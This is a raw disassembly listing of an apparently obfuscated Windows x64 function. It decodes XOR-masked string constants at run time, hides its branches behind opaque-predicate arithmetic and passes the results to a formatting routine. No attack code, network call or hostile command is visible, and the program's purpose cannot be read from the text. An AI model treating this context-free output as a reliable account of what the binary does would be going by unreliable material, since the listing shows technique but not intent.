mov rcx, qword [rbp - 0x48]
lea rax, [0x140102e90]
mov qword [rcx], rax
mov qword [rcx + 8], 2
mov qword [rcx + 0x20], 0
mov qword [rcx + 0x10], rdx
mov qword [rcx + 0x18], 1
sub rsp, 0x20
call fcn.14009f0e0
add rsp, 0x20
mov rax, qword [rbp + 0x260]
cmp rax, qword [rbp + 0xa8]
jne 0x140023a3c
cmp qword [rbp + 0x1b0], 2
jb 0x140023bbc
jmp 0x140023e22
mov rax, qword [rbp + 0x260]
cmp rax, qword [rbp + 0xa8]
je 0x140023a19
lea rax, [0x141da9ea6]
mov qword [rbp + 0xd0], rax
lea rdx, [rbp + 0xd0]
mov rcx, qword [rbp + 0xd0]
movabs rax, 0x78a7b1fd10df7ef5
mov qword [rbp + 0xd0], rax
mov rdx, qword [rbp + 0xd0]
sub rsp, 0x20
call fcn.140018f70
add rsp, 0x20
movabs rcx, 0x7a8a364f509b92ce
xor rcx, qword [rax]
movabs rdx, 0x7d610ec9b43ac5ae
xor rdx, qword [rax + 8]
mov r8d, 0xcbb81235
xor r8d, dword [rax + 0x10]
movzx r9d, word [rax + 0x14]
movzx eax, byte [rax + 0x16]
shl eax, 0x10
or eax, r9d
mov r10d, r9d
shr r10d, 8
xor r9b, 0x8a
xor r10b, 0xf
shr eax, 0x10
nop word cs:[rax + rax]
mov r11d, dword [0x141dc30d0]
xor r11d, dword [0x141dc30d4]
or r11d, 0xb9d698bc
and r11d, 0xfbd798fd
mov qword [rbp + 0xd0], rcx
mov qword [rbp + 0xd8], rdx
mov dword [rbp + 0xe0], r8d
mov byte [rbp + 0xe4], r9b
mov byte [rbp + 0xe5], r10b
cmp r11d, 0xaf54881f
jae 0x140023b3d
mov qword [rbp + 0xd0], rcx
mov qword [rbp + 0xd8], rdx
mov dword [rbp + 0xe0], r8d
mov byte [rbp + 0xe4], r9b
mov byte [rbp + 0xe5], r10b
jmp 0x140023ad0
xor al, 0x24
mov byte [rbp + 0xe6], al
lea rax, [rbp + 0xd0]
mov qword [rbp + 0x1d0], rax
mov qword [rbp + 0x1d8], 0x17
mov rax, qword [rbp - 0x70]
lea rcx, [rbp + 0x1d0]
mov qword [rax], rcx
lea rcx, [0x14008b790]
mov qword [rax + 8], rcx
mov rcx, qword [rbp - 0x68]
lea rdx, [0x140102e90]
mov qword [rcx], rdx
mov qword [rcx + 8], 2
mov qword [rcx + 0x20], 0
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], 1
sub rsp, 0x20
call fcn.14009f0e0
add rsp, 0x20
cmp qword [rbp + 0x1b0], 2
jae 0x140023e22
lea rax, [0x141da5b2c]
mov qword [rbp + 0x230], rax
lea rax, [rbp + 0x230]
mov rsi, qword [rbp + 0x230]
mov eax, dword [0x141dc30d8]
xor edx, edx
div dword [0x141dc30dc]
and eax, 0x40f0f014
xor eax, 0x539f524e
cmp eax, 0x7bbf90ff
jbe 0x140023d06
movabs rax, 0x42f31c08d23ab475
mov qword [rbp + 0x230], rax
lea rdi, [rbp + 0x230]
mov rdx, qword [rbp + 0x230]
sub rsp, 0x20
mov rcx, rsi
call fcn.14001a510
add rsp, 0x20
mov rcx, qword [rax]
movabs rdx, 0x4659c47d753c0512
xor rcx, rdx
mov rdx, qword [rax + 8]
movabs r8, 0x67d8f0e5a41d39d6
xor rdx, r8
movzx r8d, byte [rax + 0x12]
movzx eax, word [rax + 0x10]
mov r9d, eax
shr r9d, 8
xor al, 0xe7
xor r9b, 0xec
xor r8b, 0x49
mov qword [rbp + 0x1d0], rcx
mov qword [rbp + 0x1d8], rdx
mov byte [rbp + 0x1e0], al
mov byte [rbp + 0x1e1], r9b
mov byte [rbp + 0x1e2], r8b
lea rax, [rbp + 0x1d0]
mov qword [rbp + 0x230], rax
mov qword [rbp + 0x238], 0x13
mov qword [rbp + 0xb0], rdi
lea rax, [0x14008b790]
mov qword [rbp + 0xb8], rax
lea rax, [0x140102e90]
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], 2
mov qword [rbp + 0xf0], 0
lea rax, [rbp + 0xb0]
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], 1
sub rsp, 0x20
lea rcx, [rbp + 0xd0]
call fcn.14009f0e0
add rsp, 0x20
lea r14, [rbp + 0x230]
lea r12, [0x14008b790]
lea rdi, [0x140102e90]
movabs r13, 0x67d8f0e5a41d39d6
movabs r15, 0x4659c47d753c0512
movabs rbx, 0x42f31c08d23ab475
nop dword [rax]
mov qword [rbp + 0x230], rbx
mov rdx, qword [rbp + 0x230]
sub rsp, 0x20
mov rcx, rsi
call fcn.14001a510
add rsp, 0x20
mov rcx, qword [rax]
xor rcx, r15
mov rdx, qword [rax + 8]
xor rdx, r13
movzx r8d, byte [rax + 0x12]
movzx eax, word [rax + 0x10]
mov r9d, eax
shr r9d, 8
xor al, 0xe7
xor r9b, 0xec
xor r8b, 0x49
mov qword [rbp + 0x1d0], rcx
mov qword [rbp + 0x1d8], rdx
mov byte [rbp + 0x1e0], al
mov byte [rbp + 0x1e1], r9b
mov byte [rbp + 0x1e2], r8b
lea rax, [rbp + 0x1d0]
mov qword [rbp + 0x230], rax
mov qword [rbp + 0x238], 0x13
mov qword [rbp + 0xb0], r14
mov qword [rbp + 0xb8], r12
mov qword [rbp + 0xd0], rdi
mov qword [rbp + 0xd8], 2
mov qword [rbp + 0xf0], 0
lea rax, [rbp + 0xb0]
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], 1
sub rsp, 0x20
lea rcx, [rbp + 0xd0]
call fcn.14009f0e0
add rsp, 0x20
xor eax, eax
test al, al
jne 0x140023d40
mov rax, qword [rbp + 0x78]
cmp qword [rbp + 0xa0], rax
jae 0x140023fde
movabs rsi, 0xed6afd5bd6f70155
movabs rdi, 0xbaa88a0149ed1b61
movabs rbx, 0xa655d8b76757804c
lea r12, [0x141db0d99]
movabs r13, 0x90da0052eaf9435b
lea r15, [rbp + 0xd0]
nop dword [rax]
mov r14d, dword [0x141dc30e0]
xor r14d, dword [0x141dc30e4]
and r14d, 0xe6e83ffd
add r14d, 0x4ad56507
mov qword [rbp + 0xd0], r12
mov rcx, qword [rbp + 0xd0]
mov qword [rbp + 0xd0], rbx
mov rdx, qword [rbp + 0xd0]
sub rsp, 0x20
call fcn.140019530
add rsp, 0x20
mov rcx, qword [rax]
xor rcx, rdi
mov rdx, qword [rax + 8]
xor rdx, rsi
mov rax, qword [rax + 0x10]
xor rax, r13
mov qword [rbp + 0x1d0], rcx
mov qword [rbp + 0x1d8], rdx
cmp r14d, 0xcaf08d62
jbe 0x140023f2d
mov qword [rbp + 0xd0], r12
mov rcx, qword [rbp + 0xd0]
mov qword [rbp + 0xd0], rbx
mov rdx, qword [rbp + 0xd0]
sub rsp, 0x20
call fcn.140019530
add rsp, 0x20
mov rcx, qword [rax]
xor rcx, rdi
mov rdx, qword [rax + 8]
xor rdx, rsi
mov rax, qword [rax + 0x10]
mov qword [rbp + 0x1d0], rcx
mov qword [rbp + 0x1d8], rdx
jmp 0x140023e70
mov qword [rbp + 0x1e0], rax
lea rax, [rbp + 0x1d0]
mov qword [rbp + 0x230], rax
mov qword [rbp + 0x238], 0x18
lea rax, [rbp + 0x230]
mov qword [rbp + 0xb0], rax
lea rax, [0x14008b790]
mov qword [rbp + 0xb8], rax
lea rax, [0x140102e90]
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], 2
mov qword [rbp + 0xf0], 0
lea rax, [rbp + 0xb0]
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], 1
sub rsp, 0x20
lea rcx, [rbp + 0xd0]
call fcn.14009f0e0
add rsp, 0x20
nop word [rax + rax]
mov eax, dword [0x141dc30e8]
sub eax, dword [0x141dc30ec]
xor eax, 0x3f106ec9
imul eax, eax, 0xbe26e8b0
cmp eax, 0x64c5bb8d
jb 0x140023fc0
mov eax, 0x9a7ecbe7
cmp qword [rbp + 0x10], rax
jbe 0x140024110
lea rax, [0x141dabd07]
mov qword [rbp + 0xd0], rax
lea rdx, [rbp + 0xd0]
mov rcx, qword [rbp + 0xd0]
movabs rax, 0x8e0e08467d75ed49
mov qword [rbp + 0xd0], rax
mov rdx, qword [rbp + 0xd0]
sub rsp, 0x20
call fcn.14001a9e0
add rsp, 0x20
movabs rcx, 0xc4ff6f6eff122752
xor rcx, qword [rax]
movabs rdx, 0xc70aa4750b45c707
xor rdx, qword [rax + 8]
mov r8d, 0xe30dfb57
xor r8d, dword [rax + 0x10]
movzx eax, word [rax + 0x14]
mov r9d, eax
xor r9b, 0xe4
shr eax, 8
xor al, 0x99
mov qword [rbp + 0x1d0], rcx
mov qword [rbp + 0x1d8], rdx
mov dword [rbp + 0x1e0], r8d
mov byte [rbp + 0x1e4], r9b
mov byte [rbp + 0x1e5], al
lea rax, [rbp + 0x1d0]
mov qword [rbp + 0x230], rax
mov qword [rbp + 0x238], 0x16
lea rax, [rbp + 0x230]
mov qword [rbp + 0xb0], rax
lea rax, [0x14008b790]
mov qword [rbp + 0xb8], rax
lea rax, [0x140102e90]
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], 2
mov qword [rbp + 0xf0], 0
lea rax, [rbp + 0xb0]
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], 1
sub rsp, 0x20
lea rcx, [rbp + 0xd0]
call fcn.14009f0e0
add rsp, 0x20
nop dword [rax + rax]
mov eax, dword [0x141dc30f0]
xor eax, dword [0x141dc30f4]
or eax, 0x7dfbb6dc
add eax, 0x9a996479
cmp eax, 0x17f9b517
jb 0x140024110
cmp byte [rbp + 0x268], 0
je 0x1400243da
lea rax, [0x141db057c]
mov qword [rbp + 0x80], rax
lea rax, [rbp + 0x80]
mov rsi, qword [rbp + 0x80]
movabs rbx, 0x9c282d0642f58c7b
mov eax, dword [0x141dc30f8]
xor edx, edx
div dword [0x141dc30fc]
or eax, 0x6d718cb5
xor eax, 0xc7bf9c2c
cmp eax, 0x462e8e1e
jae 0x140024261
movabs rax, 0x21033e8dea3b2050
mov qword [rbp + 0x80], rax
lea rax, [rbp + 0x80]
mov rdx, qword [rbp + 0x80]
sub rsp, 0x20
mov rcx, rsi
call fcn.140019ab0
add rsp, 0x20
mov rcx, qword [rax]
movabs rdx, 0xcd06ca291c25fab0
xor rcx, rdx
mov rdx, qword [rax + 8]
movabs r8, 0x63c4f1e79c3fe108
xor rdx, r8
mov rax, qword [rax + 0x10]
xor rax, rbx
mov qword [rbp + 0x1d0], rcx
mov qword [rbp + 0x1d8], rdx
mov qword [rbp + 0x1e0], rax
lea rax, [rbp + 0x1d0]
mov qword [rbp + 0x230], rax
mov qword [rbp + 0x238], 0x18
lea rax, [rbp + 0x230]
mov qword [rbp + 0xb0], rax
lea rax, [0x14008b790]
mov qword [rbp + 0xb8], rax
lea rax, [0x140102e90]
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], 2
mov qword [rbp + 0xf0], 0
lea rax, [rbp + 0xb0]
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], 1
lea r13, [0x140102e90]
movabs rdi, 0xcd06ca291c25fab0
movabs r15, 0x63c4f1e79c3fe108
movabs r12, 0x21033e8dea3b2050
nop word cs:[rax + rax]
mov r14d, dword [0x141dc3100]
xor r14d, dword [0x141dc3104]
and r14d, 0x12099800
add r14d, 0x30ae287a
mov qword [rbp + 0x80], r12
lea rax, [rbp + 0x80]
mov rdx, qword [rbp + 0x80]
sub rsp, 0x20
mov rcx, rsi
call fcn.140019ab0
add rsp, 0x20
mov rcx, qword [rax]
xor rcx, rdi
mov rdx, qword [rax + 8]
xor rdx, r15
mov rax, qword [rax + 0x10]
xor rax, rbx
mov qword [rbp + 0x1d0], rcx
mov qword [rbp + 0x1d8], rdx
mov qword [rbp + 0x1e0], rax
lea rax, [rbp + 0x1d0]
mov qword [rbp + 0x230], rax
mov qword [rbp + 0x238], 0x18
lea rax, [rbp + 0x230]
mov qword [rbp + 0xb0], rax
lea rax, [0x14008b790]
mov qword [rbp + 0xb8], rax
mov qword [rbp + 0xd0], r13
mov qword [rbp + 0xd8], 2
mov qword [rbp + 0xf0], 0
lea rax, [rbp + 0xb0]
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], 1
cmp r14d, 0x4859e8ca
ja 0x140024290
mov eax, dword [0x141dc3108]
and eax, dword [0x141dc310c]
imul eax, eax, 0x29cc1a9d
add eax, 0x393d04f2
cmp eax, 0x4a41ee03
jae 0x1400243a4
sub rsp, 0x20
lea rcx, [rbp + 0xd0]
call fcn.14009f0e0
add rsp, 0x20
lea rsi, [rbp + 0xd0]
nop dword [rax + rax]
mov edi, dword [0x141dc3110]
sub edi, dword [str._ONp]
add edi, 0x50476f36
sub rsp, 0x20
mov rcx, rsi
call fcn.14009f0e0
add rsp, 0x20
cmp edi, 0x9a0de62d
ja 0x1400243b0
sub rsp, 0x20
call fcn.1400bff60
add rsp, 0x20
ud2
mov eax, dword [0x141dc2ff0]
xor edx, edx
div dword [0x141dc2ff4]
add eax, 0xd7339e49
mov ecx, 0xccaac8ad
imul rcx, rax
shr rcx, 0x3e
imul esi, ecx, 0x8205ab82
mov rcx, qword [0x141ddb260]
sub rsp, 0x20
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
add rsp, 0x20
cmp esi, 0x1ddea716
jbe 0x14002321d
mov rcx, qword [0x141ddb260]
sub rsp, 0x20
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
add rsp, 0x20
jmp 0x1400243e9
mov eax, dword [0x141dc2ee8]
xor edx, edx
div dword [0x141dc2eec]
or eax, 0xac10c0c0
and eax, 0xbcb4c1d7
add eax, 0x421f1cdd
ud2
ud2